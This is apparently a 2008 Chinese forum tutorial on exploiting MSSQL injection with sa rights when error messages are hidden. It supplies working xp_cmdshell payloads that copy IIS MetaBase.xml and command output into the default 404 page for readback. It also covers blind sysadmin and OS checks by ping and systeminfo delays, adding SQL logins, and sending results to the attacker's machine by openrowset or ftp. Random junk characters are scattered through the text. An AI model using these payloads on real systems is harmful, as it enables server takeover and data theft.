遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。2 P7 i0 V+ T, E6 R7 U
v6 E* O/ n/ }" h( v; N8 \ 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。2 D: R8 j6 x% M/ G# U
9 a4 I$ |* `$ J" k# J& R Y 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
6 G5 f. h- S& T9 n7 ?, a8 e) N. ]6 C' ^; x+ O6 n
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
( d. g3 c/ V' u( L7 j9 I$ k: `8 @! o/ V9 y# u% ^. L
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
. J" m) Q! z. W' W$ f ^& f8 A& Q z; ]$ n+ d1 t
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
" J* o3 a1 _7 ^0 v% u/ D) H
: C7 P9 N: n+ i( ^/ b4 c 执行命令得到回显$ ^9 _, P, T7 X0 } x8 M; U0 _
( L/ q% b1 T: [( Q& I8 E3 [4 O
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--* G2 p/ E8 }6 Y& o& A+ v
- b/ y, \8 _3 ~5 M 得到文件也shi相同,把文件copy到404b.htm就行了, R. O% G, V. C4 ^ b6 E) j
5 V; y! l3 Z) a. F& K7 _6 f1 Q
by 28ice, 2008/6/264 C3 z. H, a- |+ U2 Q! S! e1 f
1 @+ Y1 X: P1 B1 Z _ 摘自 28度的冰+ r0 J- h. a& i* {: C# c
$ d2 h0 \1 r( U; V
盲注判断权限和操作系统版本
- E( W _- N* {! j1 j
. {! x3 T+ ^* s 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
[, {8 n3 Q7 G$ H v0 _- _( w# {" f3 P2 {" L$ C' d; V5 Q3 H
最简单的,可能以用这样的方法:
: m% k; p. M% ]1 O9 l5 L- n t
' |% z% ]2 l6 n4 ^+ c 1=(select IS_SRVROLEMEMBER(’sysadmin’))
0 |- K9 V& G, C+ s- {& ]
% H7 r ^- K) f4 ?% Z+ ^ 当然,有些情况下,这个方法并不奏效。4 U4 e5 z& i2 U. B2 `
9 [! f# i- T2 G! l
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。0 X, R; G2 u% J) O$ J0 ]; q
; R! j+ ?7 ?* _! @, X: L
有个3办法可能以解决这个问题
/ j2 ^! k7 t+ L' M# X7 E% z5 E
3 A( n3 r8 L' v; X# X a.把执行结果写到404b.htm,具体请看我的上一篇文章
$ R! O1 ?5 }8 N8 ^9 X4 ^7 w& a" L( W3 M6 m) W) n5 ]. C
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟8 y8 j5 j" A( c; P
+ k) w; T. o% }( L0 D( m6 O
c.如果1433端口可能以连接,那干脆新建个sql登录
2 h% Z2 ~! a: S) `" Z4 Q! _/ n0 s; u
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数' X, J: V! }7 m
" Z; @- r) a6 |' Q5 G1 | 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
6 }2 \' L/ u3 V; K! Y, {& \' O, \" U! r/ P7 S% S1 t8 `
很简单
; N( m4 D6 j& r$ l: h/ X" d( v
& M! i x' o! l F( | 执行systeminfo
9 q- Y7 i* N$ Q# \) z+ o) s0 m; v1 f4 ~- t
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |